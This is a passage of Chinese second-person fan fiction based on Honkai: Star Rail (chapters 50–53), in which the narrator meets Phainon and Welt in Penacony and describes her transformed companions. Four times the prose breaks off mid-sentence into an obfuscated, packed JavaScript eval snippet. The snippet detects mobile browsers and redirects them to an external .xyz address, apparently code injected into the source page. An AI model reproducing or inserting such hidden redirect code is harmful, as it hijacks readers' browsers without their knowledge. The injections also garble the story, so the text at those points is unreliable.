“你是在羞辱我。”舒俱的语气十分不好。 你的吻落在舒俱来上。 舒俱紧张得身体都膨大了一圈儿,“做……做什么?” “不是你说在羞辱你吗?”你无辜道:“自然是将这个罪名坐实了。” 50.庇尔波因特 舒俱气得不敢再说话。 你捏了捏手串,连哄带骗才让他离开了你的视线,跟着真理医生他们去拐带叽米先生了。现在你的身边空无一人,至于卡美丽这个摄像头嘛,早在你要几个小家伙去拐带叽米先生的时候就跑掉了。 估计是给叽米先生报信去了吧。 傻孩子。 不管她,横竖你来庇尔波因特也不全是为了叽米。当然,或许一开始是为了叽米,单纯只是想玩玩罢了。但是现在—— 思考间,你已经来到了庇尔波因特最为宽敞的广场。中央的喷泉在肆意喷洒着泉水,在暖洋洋的阳光下发出七彩的颜色。来往人群络绎不绝,行色匆匆。谁都没有注意到一个白发蓝眸的男人此时正悄咪咪地坐在喷泉下面削着什么东西。但是你知道,那东西不是别的什么,而是开拓者小星星的棒球棍。 小星星一般都是棒球棍不离手的,现在又怎么会出现在这个男人手里。此人看上去并非穷凶极恶之辈,浑身的配色和星期日还有些相像,笑容也是那种标准的阳光开朗大男孩儿。 难道是小星星送给他的? 按照开拓者的骚操作,这个假设不得不成立。 为什么是不得不呢。 因为防身的武器一般不会送人吧,比如景元的阵刀啦,丹恒的击云啦,刃的支离啦,桑博的小短刀啦等等等等。但如果放在开拓者这样屑出花儿来的人身上,就显得合理多了。不成立,也得成立。 说起来,你好像好久没见过开拓者了,不知道这家伙跑到哪里开拓哪块贫瘠的星球去了。 你和她见过吗,还好久不见? 当然见过,只不过没有明说罢了。当时你还是垃圾桶的形状,在匹诺康尼被那个小星星抱着亲了又亲。这还不算,亲完就要你把桶身里的垃圾都给她,不给就要拿那根破棍子打你。虽然确实她出言不逊在先,但最后却是你先踹了人家一脚。 人家小星星才不得不反击。 不过说起这家伙来也太不地道了,明明看着是一个人,但是对战时却变成了四个不同的人。每个人给你说上一桩伤心事,你就开始心软。再多说上几件,你就开始破防。到最后,桶身内的垃圾自然而然就人抢走了。 你变成现在这副精神状态如此美丽的样子,小星星要占五成的功劳。 这个比例也太低了吧,剩下五成呢。 剩下五成是你也想发癫。 得了吧,你就是想发癫,然后刚好遇到一个和你精神状态同样美丽的人,干了你以前想都不敢想……哦不是,是只能在心里想想但却没有付诸实践的事情,急得你抓耳挠腮,痛哭流涕,从此下定决心势必也要让自己快活一下。 看,自己分析起来自己的心路历程,是不是挺顺的。 你是不是还得感谢一下你自己啊。 不用了,记在心里了就行。 谢谢。 都说了不用了。 闭嘴。 “……” 哦。 你长舒一口气。 大脑终于安静了。 你的脑子里住着一个聒噪且爱看热闹的灵魂,如果所料不错,应该就是那个拥有着神格的时间星神。只需要某个契机,或许祂就能成功取代你现在的灵魂。 这个契机不难猜,用桑博的话说,就是去翁法罗斯一趟,搞点儿事情,让记忆星神注意到你。 你叹了一口气。 终于那个正在削棒球棍的男人注意到了你。 呃。 看他的眼神,或许不是他终于注意到了你,而是你终于注意到了他已经发现了你的存在。或许是见你正在出神,便没有开口打扰,只是再次低头削棒球棍,等待你的视线回归,然后他再投来刚巧注意到你的眼神。 不得不说,这个男人还挺厉害的,连你什么时候出神什么时候回神都能通过你的微表情在心里计算得一清二楚。当然,这还不是最厉害的。因为—— 他现在还维持着人的形体。 你仔细打量着这个男人的面庞,甚至不惜冒犯到他也要伸手抬起他的下巴,细细端详。 你注意到男人的眸子微微眯起,眼神变得深邃,良久,你听到他从胸腔里发出的一声哼笑。 这声哼笑实在和他刚才那个阳光开朗的笑容不符。但说实话,这张脸你无论看上多少次,都会是感兴趣的类型,但为什么他就没有受你的影响变得不是人了呢。 莫非有延迟? 想起前几次的经历,你默默收回了手。 不知道下一秒这个男人变得不是人了之后,他会是什么反应。 “在担心我?” 男人的话打断了你的思绪,你迎上他的目光,轻松地笑了起来,“是啊。” 有什么不可以的吗,担心别人也要被拿出来调侃? 你挠了挠脑袋。 这男人果真言行举止都和表面清纯男大的气质有些不符。 “我是白厄,来自哀丽秘榭。”他温柔一笑,竟有几分腹黑的味道,比起罗刹来简直是有过之而无不及。 罗刹起码还保留着九分的温柔,而白厄的温柔仅仅只占了五分,剩下的都是阴谋阴谋阴谋。 噫。 看得你密集恐惧症都要犯了。 “你认识这根棍子?”白厄掂了掂手里的棒球棍,有些意味不明地笑道:“这根棍子的主人是大名鼎鼎的开拓者,看来小姐你也和开拓者认识了?” 你本来就和小星星认识,这没有什么好否认的。 “原来如此。”白厄将棒球棍往你的眼前一送,“送给小姐你吧。” 你接过来,问白厄是怎么得到这根棍子的。白厄显得有些为难,但没有犹豫很久就开了口,“实不相瞒,这根棍子是我抢过来的。我本来想和她开个玩笑,但是阴差阳错我就被带到了这里。” 呃。 怎么个阴差阳错。 这下白厄思考的时间更长了,似乎是在回忆,“我就只听到一阵迷迷迷迷的声音,然后我就被送到这里来了。当时她身旁还有个出色的青年,大概可能也和我一样不知道被送到什么地方去了。” 呃。 那不就是丹恒吗。 毕竟瓦|尔|特可称不上是什么青年。 你猛地反应过来,难怪丹恒迟迟待在垃圾星不走。他想恢复原形的愿望应该比任何一个家伙都强烈,因为开拓者那个家伙是真的会三百六十度无死角地笑他。 “在说我吗?” 瓦|尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531307|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' |特已经扶着眼镜走了过来,镜片反射的太阳光差点儿闪瞎了你的钛合金狗眼。 谢天谢地,他没有变得不是人。 喂! 哪有你这样想的! 你摸了摸鼻子,实在是有些心虚。但是承认你不喜欢瓦|尔|特也没什么吧,毕竟你一直把他看作父辈。 喂。 人家的年龄比你小好多! 但是他眼角都有皱纹了! 你强势申辩。 终于脑袋里那个声音静音了。 你松了口气,询问瓦|尔|特怎么会在这里。他往上扶了扶眼镜,言简意赅:“求人。” 求人? 求谁? 整个庇尔波因特还能有星穹列车求的人? 而且还是列车大家长之一的瓦|尔|特先生亲自来求? 瓦|尔|特不像白厄会思考那么长时间,还是言简意赅一个字,“你。” ! ? 你不确定地指了指自己。 瓦|尔|特先生点了点头,“我们在翁法罗斯遇到了一点儿危险,两个同伴下落不明,所以来求你帮助。” “呃,哪两位同伴?” “丹恒和星。” 呃。 你不由得看向白厄。白厄朝你使眼色,看来他没和瓦|尔|特说实话,搞得一个老人家还在庇尔波因特到处奔波找你的存在。 你问瓦|尔|特怎么知道你在这里的,他往上扶了扶眼镜,“这个不难,卡美丽女士一直在跟踪报道。” ! 这个卡美丽! 原来说的什么报道你是为了在娱乐公司爬得高点儿全都是废话,目的就是为了给星穹列车做眼线。难怪刚到庇尔波因特就直接就溜了,你还道是她担心叽米先生的安危,原来是怕你发火。难怪你说什么卡美丽都害怕兮兮的,原来是她做了亏心事。不过话又说回来,给星穹列车做眼线或许还能借着势儿更跃一步也说不定。 星穹列车可是比你值钱多了。 来庇尔波因特又不是卡美丽要求你来的。 你人还怪好的哩,还知道替卡美丽申辩一两句。 本来就是嘛。 你以为仅仅只是庇尔波因特吗,只要你离开了垃圾星,哪里不是求你的好地方。 但还是不对,为什么垃圾星就不是好地方呢。 这个问题问得好,但是你无法回答,只能让□□来解释原因了。 他依旧是往上扶了扶往下滑的眼镜。 你不由得感叹了一句。 戴眼镜真难。 但对于别人是难,对于瓦|尔|特来说却是不难。 这还不难,每天都得扶个百八十次吧。 你还是那句话,对别人很难,对瓦|尔|特不难,因为都是他自找的。 他根本不需要眼镜。 戴着也只是觉得好看而已。 呃。 听说有人为了好看去戴隐形眼镜的,还没听说为了好看戴有形镜片的。 天下之大,无奇不有。 别以为只有小星星精神状态绝美,其余几位列车成员的精神状态也是美得不可方物,只不过是被小星星衬托得稍显正常而已。 51.庇尔波因特 你的精神状态放在银河宇宙间也是数一数二的,要不要考虑登上星穹列车? 打住。 你可不想上了列车给小星星当老幺。 “瓦|尔|特先生,请说。” 这位握紧手杖,正在往上扶眼镜的中年男人闪着一双锋利的眸子,即使那双眼睛隐藏在镜片后面却也不减任何锋芒。 你本能地感觉到了危险,但是面上却无任何惧色,反倒觉得有些不解。 这个开拓的老前辈为何对你露出敌意,你仅仅只是问了一个非常简单的问题而已,不回答可以不回答嘛,用得着发脾气吗。 食指挠了挠脸颊。 总不会是担心变得像景元他们一样没有人形了吧。 说起来也不应该呐。 这位开拓的老前辈要是知道景元他们变得不是人了,也该知道丹恒就在垃圾星上呐。这样的话,他更有理由去垃圾星了不是吗。还是说,前面这些阶段他都跳过了,单纯就是觉得你把丹恒害得不是人了所以就生气吗。 但这也不合理呐,把几个小家伙变得不是人了,这也不是你的本意。 你也是受害者。 准备来说,是被诅咒了的人。 你见过哪个被诅咒的人作用到别人身上的? 呃。 说得也是。 不管童话故事里被女巫诅咒的是谁,那些可怕的诅咒都会降临到被诅咒的人身上。 呃。 看来你是被女巫讨厌的那个人。 所以女巫要在你的身上使坏,让你的方圆百里之内见不到任何一个符合你xp的男人。 这样想才比较合理。 阿哈这个可恶的家伙! 你刚刚安定下来的心忍不住开始躁动。 如果有机会再见到阿哈的话,你一定要把祂揍得任何人都认不出来。 不过对于祂这种人来说,估计你打祂一拳祂都能把牙笑掉。 罢了,不去想祂,还是着眼于眼前吧。 你再次恳切地询问这位开拓的老前辈,“瓦|尔|特先生?” “嗯,我在。”瓦|尔|特往上扶了扶眼镜,方才还握在掌心里的手杖已经不复存在,“你看到这里刚才站了一个男人吗?白头发……”像是在仔细回忆白厄的长相,“呃,白蓝配色……” 你明白了。 原来这位开拓的老前辈和白厄并不是一道的。你能看到白厄,白厄也能看到你。但是白厄能看到□□,□□却看不到他。而刚刚不知道是不是由于你的缘故,使得瓦|尔|特隐隐感知到了白厄的存在,所以他才会露出那种十分危险紧张的神情。 难怪。 难怪瓦|尔|特过来的时候没有和白厄打声招呼,难怪白厄朝你使眼色要你不要把小星星和丹恒的处境透露出去,难怪白厄悄咪咪走了这位开拓的老前辈没有一点儿反应。 是的。 没错。 早在你吐槽瓦|尔|特每次说话前都要往上扶眼镜的时候,这位看起来贼清纯的男大白厄只和你使了个眼色就撒丫子了。你还以为是他和瓦|尔|特已经说好了,没想到居然要逃跑。 这个叫白厄的可真够奇特的,不过你并不打算向老杨透露白厄的存在。而且他现在估计也没有心思,等把丹恒和小星星救出来后这位老前辈或许才能腾出精力处理别的事情。 你恰到好处地面露迷茫,抓了抓头发:“什么人……哪里有人……” 老杨略感失望,但很快便把这件事情抛诸脑后,郑重其事道:“请你帮个忙。” “你还没有回答我的问题。” “……是那个为什么不去垃圾星的问题?”老杨沉默了一会儿,“实不相瞒,银河轨道上并没有这个地方的站点,那是阿基维利也未曾涉足过的地方。” 啊这。 这个回答倒是你始料未及的。 阿基维利这么厉害,居然没有到过垃圾星。难道你以前还是星神的时候,没有和他玩到一起吗。 没有。 你和阿哈玩得比较好。 闭嘴。 祂算哪门子的朋友,顶多算个损友。 你抿了抿唇角。 星穹列车的忙是不能不帮的,但是翁法罗斯你也是不想去的。小星星是不能不救的,但是丹恒在你的垃圾星上也是实打实的。而且这也更加证实了时间是不能错乱的,否则就没有秩序可言了。 秩序已死。 闭嘴。 或许从秩序陨落的那一刻起,你就注定了要复生。 阿哈或许是看准了这个时机。 你叹了一口气。 不知道有没有什么让浮黎的视线注意不到你的情况。 或者你全身挂满镜子,让浮黎的视线再反射回去? 这个想法比较天真。 但值得一试。 “瓦|尔|特先生,我会去到翁法罗斯把星和丹恒带出来的。” “星穹列车会记得你的恩情。” 告别瓦|尔|特后,你有些心神不宁,脑袋里一直乱七八糟在想一些事情。 或许垃圾星上的那些小家伙并不是在来垃圾星的那个时间点变得不是人了的。如果他们没有变得不是人,那么这次垃圾星之旅就是一趟再平常不过的旅行。但是他们现在不是人了,那么事情就变得耐人寻味起来了。 或许你现在去到星际和平公司,去到仙舟,去到贝洛伯格,那个时间点也不会是那些小家伙们离开家乡的时刻,而是已经快进到他们死亡的时间或是会有正常时间点下的他们存在。 时间把他们的灵魂分割成了零碎的碎片,而记忆来填补他们在旁人回忆里的空缺来维持稳定。 浮黎在给你擦屁股。准确来说,是给你和阿哈擦屁股。 闭嘴! 你清了清嗓子,难得正经一回。 怎么着不得好好正经一下。 就像是白厄。 但或许他并不是来自庇尔波因特,也从未在这里的人们眼里留下任何印象,所以无需填补。也就是因为如此,瓦|尔|特和其余人才看不到他,你才无法把一个符合你xp的人变得不是人。 因为记忆本就是为稳定时间流逝带来的影响而存在的。 但是为什么你会看到他? 因为时间本就是承载记忆的。 但是还有个疑问没有解决——记忆形态的白厄为何会来到这里,当然这里不仅仅是指庇尔波因特,任何白厄没有出现过的地方都是。因为他没有出现过,所以生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544603|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活在这里的人也就对他没有印象。 自然不需要他来填补什么空缺。 那么用来填补翁法罗斯人们中真实白厄记忆空缺的他为何会被丢至这个无人认识他的地方呢,没有了记忆形态的白厄填补记忆空缺的翁法罗斯又如何面对失去真实白厄的局面呢。 不。 这个问题有些奇怪。 如何面对的前提是已经失去。 但或许翁法罗斯并不需要这个记忆形态的白厄来填补真实白厄的空缺。 因为白厄不需要填补,翁法罗斯已经有个白厄了。 那么现在这个记忆形态的白厄又为何会出现呢。 是浮黎的遗漏还是有意为之?或许翁法罗斯发生了什么事情必须造出了一个多余的白厄记忆来维持稳定? 这个想法似乎比较合理。 “你似乎很特别呢。” 一个极其轻佻的声音,轻佻得不能再轻佻了,和砂金估计都有得一拼。 你抬起头。 白厄不知道什么时候溜到了你的面前,俯下头看着坐在台阶上托腮思考的你。 你轻笑一声:“知道得有点儿晚了呢。” “为什么?”白厄又恢复了那副清纯男大的模样,看起来十分无辜。 不得不说,白厄的这张脸当真是让人无法拒绝。 你见到哪个男人都无法拒绝。 不不不。 不要把你想得那么花心,你还是十分有原则的不是吗。 垃圾星上的那些小家伙你一个都没有碰过。 呃。 不太严谨哈。 是生物学意义上的没有碰,不是物理意义上的没有碰。 谢谢你哈,解释得这么清楚。 不客气。 反正你就是色归色,但还是十分有原则滴。 但此时此刻显然没必要守原则。 喂! 你已经无视内心深处的声音,开始认真回答白厄的问题:“当然是我想这么说就这么说了。” 呃。 这算认真回答吗? 不算吗? 说了跟没说似的。 说废话的最高境界就是扯一堆似是而非的大道理,让别人觉得你很有学问很深奥似的,但其实什么问题都没解决。 你属于这种类型吗。 显然不是。 你虽然也很喜欢说废话,但不是为了凹人设,而就是单纯我行我素。 难道我行我素不是一种凹人设吗。 好像也是哈。 那就是不是凹那种深奥人设吧,而是想气死人不偿命。 真想把气死人纳入星际和平法。 不好意思,颁布星际和平法的公司就是个他强他有理的东西。 “你很拽啊。” 你差点儿就要将“第一”两个字脱口而出,事实上你已经把“第”的音发出来了,但是你聪明,你机智,立即换成了叠词儿。 “弟弟,学着点儿。” “学什么?”白厄显然没被你吓到,还有精力挑衅:“学把你喜欢的人都变得不是人?” “比不上你。”你也不甘示弱,“比不上你把想要拯救的人当着过去的你的面一个个杀死。” 52.庇尔波因特 这句话显然是白厄的痛点。 你看到白厄微微握紧了拳头,但最后他什么也没干,只是坐在了你的旁边。 “我能有什么办法呢,伟大的时间星神。你能告诉我,我还有别的办法吗?” “可别。”你连连对白厄摆手,“我虽然无名无姓,但你也别叫我时间星神,还是唤我无名吧。” “无——名?有点儿意思。”白厄笑了起来,看得出来这个名字愉悦了他的心情,“其实我也有个名字,他们都叫我盗火行者。” 你点点头:“看得出来。” 白厄的身上揣着几枚微弱的火种,就像是萤火虫发出的光芒一般,晶莹透明却又微不足道。 “我从我的伙伴中抢来的。你可能不相信,我残忍地杀死他们,是为了要救他们。” “我知道。” 你点点头。 白厄估计是陷入在自我的情绪里了,连你刚才刺激他的话都忘了。他这个样子你也不能多说什么,只能陪着他坐着,当情绪的垃圾桶。 “……你才不知道。” 白厄的鼻子抽了一下,压抑着的呜咽声从喉咙里发出。红红的眼睛看着你,就像是小白兔一般。 你猛然瞪大双眼。 不……不会吧。 “你这是什么反应?” 白厄的鼻音依旧很重,“你觉得我会哭吗?像我这个年纪的人,早就不能号啕大哭了。” “这有什么?”你不在意地拍了拍白厄的肩膀,“其实我见过很多人哭,比如和你配色差不多的星期日。他哭起来我见犹怜,破碎感直接拉满。” 白厄笑了,连鼻涕泡都冒了出来,但不等你戳破就自动在空气中爆掉了。 有些可惜。 你继续安慰白厄,给他讲了很多垃圾星上的事情,当然那群小伙伴的事迹也是少不了的。 你和白厄说景元是个聪明无比的人,别人都是先发制人,他惯会后发制人,而且料事如神,经常出奇招制胜。不过现在是只白猫,每天的必修课就是趴着睡觉。要么趴在窗台上,要么趴在你的肚皮上,要么趴在你的脸上,反正就是随地大小睡。他还特别喜欢用爪子拍你的脸,总想着在你脸上留下点儿什么梅花的印迹。还总是顺着你的裤脚从头顶上爬,把你当成他的免费坐骑。 你和白厄说星期日是个具有神性的人,虽然是个爱哭鬼,但在你的面前哭得不多。他喜欢蹲坐在你为他搭起的小架子上荡秋千,还要你在旁边唱着知更鸟的歌儿,唱不好他就要啄你的嘴巴。你不喜欢喝水,却记得每天清晨都会放一碗水在窗台上让他洗澡。他洗高兴了就会唱几句歌儿,当然,还全都是知更鸟的歌儿。 你和白厄说杰帕德是个经常会脸红的人。唱歌唱不好会脸红,别人说几句话也脸红,每天都像个小番茄似的。幸亏你不是鸟,要不怎么着也得啄他几口。几个小家伙里他是最安静的,每天顶多也就帮着波提欧和砂金砸砸核桃,然后就躲到床底下去了。 你和白厄说波提欧是个火爆脾气,不用点火就能炸的那种,嘴里总是不干不净,你还不能挑出一点儿错。骂人的时候在夸你,夸你的时候也在夸你。总之这位就是个口吐芬芳的家伙,喜欢用枪托砸核桃,用锤子敲核桃,用吉他箱子扁核桃,还会用门缝儿挤核桃。不得不说,你家的门真的挺牢固的。 你和白厄说砂金是个花枝招展的小孔雀,衣着华丽,最难养活。水没有倒进杯子里不喝,面包没有抹奶油不吃,水温没有达到某个奇怪的数字36.726417571113°不洗,毛发没有涂精油不出门,出门你不抱着就不走等等等等。他是活得最为精细的那一个,也是最为精致的那一个。你觉得他就像个瓷娃娃,美丽又脆弱,一个不小心可能就会摔得粉身碎骨。当然,这也只是你的顾虑。他本人对自己的性命特别不在乎,随随便便就是可以交托出去的筹码。他特别喜欢赌,但也一次没有输过。他从来都是赌桌上的赢家。 你和白厄说刃是个星核猎手,每天阴沉着脸跟海绵似的能挤出水来。当然,他现在不软,而是还十分锋利,是一把不可多得的宝剑。比起握在你手里配合着你的动作出剑,他其实更喜欢自己出击。你曾经想过准备个剑鞘,但他不乐意,不想被束缚。现在每天的功课就是追着丹恒砍,或者追着罗刹砍,反正就是砍砍砍。 你和白厄说罗刹是个医疗圣手,不管什么病他都能治好。不过现在是枚项链,链子已经被刃砍短了。以前能挂在胸口,现在只能当成锁骨链。他是个秘密非常多的人,多到能让你犯密集恐惧症。哪儿像他的头发似的,顺滑又好看还泛着金色的光芒。他好像几乎不参与什么事情,大多数时间都是乖乖地待在桌子上或者是挂在什么上面,随着微风晃啊晃,晃啊晃,晃得你头晕,像是在给你施什么催眠咒一样。 你和白厄说起银枝,这是个极其优美的家伙,说话也是极其优美。当然不是波提欧那种优美,而是那种发自内心的赞扬。他的话语就像是春日里的一缕微风,轻轻拂过你的脸颊。虽然有时候带来的不止有田野的芬香,还会有一些草屑泥土沙砾什么的让你无所适从。不过自从你将他放在嘴里嚼之后,他就不甘心只做你的玫瑰发卡了,想叫人时时刻刻都把他叼在嘴里。 你和白厄说起螺丝咕姆,这是个天才俱乐部的天才。不过这个俱乐部的名字有点儿难绷,不知道是不是阿哈给取的。他现在是一只蝴蝶,平常就和真理医生讨论讨论学识,没事儿的时候就去采蜜。不知道是天才的大脑你无法理解还是智械的口味和你不同,他采回来的蜜不是辣的就是酸的,反正就是没有甜的。他采得越多,你就连辣椒和醋都不用买了。你甚至怀疑是不是他的口器出了什么问题,有时候会拿着放大镜把他的口器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544604|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放进嘴里舔舔,但还没舔到就被他扇了很多绿色的翅粉。再多来几次后,你就放弃了这个想法。 你和白厄说起椒丘,这是一个粉毛狐狸,几乎不睁开眼睛,整天笑眯眯的。也就只有你在给他抓痒刷毛还有遇到什么小肉粒的时候抓几下时,他才会睁开眼睛。他有一双淡黄色的眸子,并不出彩,但却很吸引你。你有时候会拿他当枕头睡觉,他的尾巴总会盖着你的肚子。你拿开,他又会重新盖上来。到最后,也就只能随他去了。 你和白厄说起青竹,这是一把竹笛,能自己发出悦耳的响声。当然,不是在你吹奏的情况下。不过说起来好像是你把他阴差阳错地救了,但什么时候救的你目前大概想不起来,反正就是救了就对了。他身上有股子淡雅的味道,也有种水墨画的味道。如果他能有人形的话,大概就是似青竹般着一身青绿色的宽松长袍站在山泉间的青石上,袍角无风自动,飘飘然如遗世独立。 你和白厄说加拉赫,是只特别细长毛发滑溜的黑色大猎犬。虽然没有金毛那般戴上眼镜就能装作帅气的斯文败类,但穿上大衣伪装个黑|帮大佬还是绰绰有余的。不过有你在,黑|帮大佬也得乖乖束手就擒。他的话不多,身上带着一股子沧桑感。每日不喝水必喝酒,喝得醉醺醺的卧倒在家门口。饶是如此还不忘看家护院,一有动静就眼睛瞪得像铜铃,绿油油的眼睛看得老桑博心里发毛。 你和白厄说老桑博,这是个和泥鳅可以比一比滑溜程度的生物。明明他最是个人形,却偏偏干着最不像人的事儿。前前后后你被他耍了很多次,但依旧不是吃一堑长一智,你反倒在他的圈套内越陷越深,无法自拔。每次都气得你牙痒痒,但偏偏每次,你都会放过他。只要他求一求饶,撒一撒娇,你就会心软。真是中了不知道哪门子的邪了。 你还和白厄说起舒俱和欧泊还有那个倒霉的核桃,叫什么奥斯瓦尔多·施耐德的,这个名字贼拉拗口,当然还有白厄认识的丹恒。 你吞了下口水,正想继续说的时候,白厄却伸手将你打断:“我很羡慕他们,也很嫉妒他们,你再说下去我就要恨他们了。” “羡慕什么?嫉妒什么?恨他们不是人?你对这些可爱的小家伙下不了手?” “那倒不是。”白厄笑了:“我对谁都下得了手,包括……”他稍稍顿了一下,并未继续,而是解释先前的羡慕嫉妒恨:“我羡慕的是他们无忧无虑,嫉妒的是他们生活如此安稳,恨的是他们有你。” 呃。 无忧无虑,生活安稳,颐养天年。 这个……好像也确实。 最明显的就是景元了,罗浮上的大小事情他几乎都不过问了,直接全都交给符玄。次为明显的就是波提欧和刃这两位在刀口和枪口上添血的日子一去不复返了。 你摸了摸鼻子。 但何为恨的是他们有你呢。 53.庇尔波因特 “什么叫恨他们有我?” 你问出了这个问题,但白厄显然没有要回答的意思。他别过脸去,你似乎在那张坚毅的面庞上看到了一些晶莹的东西。 呃。 食指挠了挠脸颊,你有些无所适从。星期日喜欢哭的时候都是当着你的面哭,你也知道他是想让你帮他擦眼泪。于是你就一边哄着抱着,唱着知更鸟的歌。虽然你的歌喉不咋滴,还老跑调,但是星期日听得很受用。 但是明显白厄不属于这个情况,你都不知道是把他扳过肩膀擦去眼泪还是该默默地什么也不说。不仅仅是因为你对白厄不了解,更多的其实是他现在是个人形呐。 垃圾星上的那些小家伙变得不是人了之后,行为越来越抽象化。但你相信,一旦他们变回人,大概就没有此时这么悠闲了。对于白厄也是一样的,如果他现在不是个人,而是一个什么的物件,你大概就会抱在怀里哄一哄啥的。与性格无关,形体其实占了很大一部分原因。 难道你现在能把人高马大的白厄搂在怀里哄一哄? 显然不能吧。 虽然你与白厄身量相近,但这个姿势也太奇怪了。 你在心里想象了一下,并且还伸出手比划着。 大概和抱一个小婴儿的效果差不多。 你叹了口气,为了维持白厄的形象,你只能继续讲垃圾星上的小家伙的事情。 比如真理医生。 你舔了舔唇角,认真地说着。 这是个刀子嘴豆腐心的家伙,虽然嘴上骂你,但心里却是实打实地为你好。但具体怎么个好法呢,或许是早上和景元一起混合双打你叫你起床?但景元或许是嫌你压着他的尾巴了,真理医生估计就是觉得你大白天睡觉荒废学业。景元是非得给你留下个梅花的印迹不可,而真理医生的后果就是被你的鼻涕泡弄了一身。他又是个特别有洁癖的人,但是书页用水擦会破损,不用水擦他又觉得有味道,经常苦恼个没完。到最后只能霸占属于星期日的窗台,开了窗户让书页哗哗地随风吹动,声音还极其悦耳。 你又说起欧泊。这个家伙生得是个小孩子模样,说话有时候也奶声奶气的。但是他却穿着与身型不符合的西装,做着与这个年纪不相符的事情。可能是太累了吧,变成奶嘴后倒是安分了不少,经常浸泡自己,然后把洗澡水留给你喝。说是什么最富有营养价值的牛奶,但你看着估计和童子尿差不多味道。他非要盯着你喝,还说是能长高。信他个鬼。你直接全都浇灌在了玫瑰花上,也就是银枝的根上。他似乎本来就看银枝不顺眼,原因你大概能猜到一些。无非是你叼了一次玫瑰,他觉得银枝抢了他的位置。说到底还是个小孩子呀。 你又说起舒俱,这家伙是个嫉妒心比较强的。明明比砂金还要嚣张放肆奢华,却偏偏讽刺挖苦砂金做什么都要搞得人尽皆知。声音听着倒是比砂金沉稳些,但老是不听话。不仅想待在你的手腕上,还想套在你的头上,说是这样显得你高贵优雅。虽然说紫色确实很显高贵,但是这个结论不适合你。因为你就不是高贵那一款的,比起束之高阁,你还是喜欢在泥地里打滚,还喜欢把舒俱也涂满泥巴。 你又说起核桃,其实真名叫奥斯瓦尔多·施耐德。名字太长不容易记,你还是更喜欢叫他核桃。这个家伙是个血腥的开拓者,没干什么人事。变成核桃之后倒是安分了很多,也不说话,就那么任波提欧还有砂金他们报复。可能也知道张了口也没用吧,你是不会帮他的。但也不逃跑,估计很有可能是核桃仁被文玩了很久,里面的核桃仁早就消失了,导致他现在也没了脑子。善恶终有报,估计说的就是他吧。 你最后才说到丹恒。 “为什么丹恒兄放在最后说?”白厄转过头来睁着红肿的眼睛问你。 你吓了一跳。 不是吧,哭成这样。 饶你情商再高,此时的神色也有些绷不住了。 “……很明显吗?”白厄擦着眼泪,笑着问你。 你感到内心深处似乎有个什么东西被击中了一般,但还是正了正神色,解释道:“因为丹恒目前来说算是你最熟悉的人。” 其实丹恒在你这里也是话不多,迄今为止你都没怎么和他说上几句话。列车成员多多少少都有点儿抽象,丹恒也不例外。虽然他现在是枚枫叶的形状,有时候还总是被景元抓在爪子里玩耍,或是被刃追着砍,又或是被银枝赞美得面无表情,但总体来说丹恒在你这里过得也是相当滋润的。有事没事就下场小雨清新空气,当然都是局部降雨。有时候浇景元一头啦,有时候让刃的生锈程度再严重一点儿了,还有时候让银枝的根浸泡得腐烂发臭啦等等等等。他似乎并不着急离开垃圾星,也不着急恢复原形,只是享受在你这里惬意的时光。 但是按照丹恒的性格,他又不可能对小星星无动于衷,所以你推断他大概不是从翁法罗斯而来,而是不知道被哪个时空丢到了这里。其实这几天你心底也隐隐有了猜测,估计也就是刚从罗浮幽囚狱被放出去的那一段时间。 你叹了口气。 也是个可怜的。 “你的意思是说在垃圾星上的丹恒有可能也像我一样从翁法罗斯消失后以记忆体的形式存在?” 白厄眼睛的红肿依旧未消失,再加上他这副好奇感拉满的样子,就愈加让人欲罢不能。 但你还是止住了心里的杂念,摇了摇头,“假若没有阿哈捣乱的话,如果是像你刚才说的那样他以记忆体的形式存在,而且被丢到了一个真实的丹恒从未出现过的地方,那么他应该会像你一样不受我的诅咒影响。” “但是……”白厄微微思考了下,“你能确定丹恒真的从来没有去过垃圾星吗?” 这个你还真的不敢保证。 根据你有限的记忆推测,你之前在匹诺康尼应该和列车组碰过头。按照小星星那个东跑西跑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 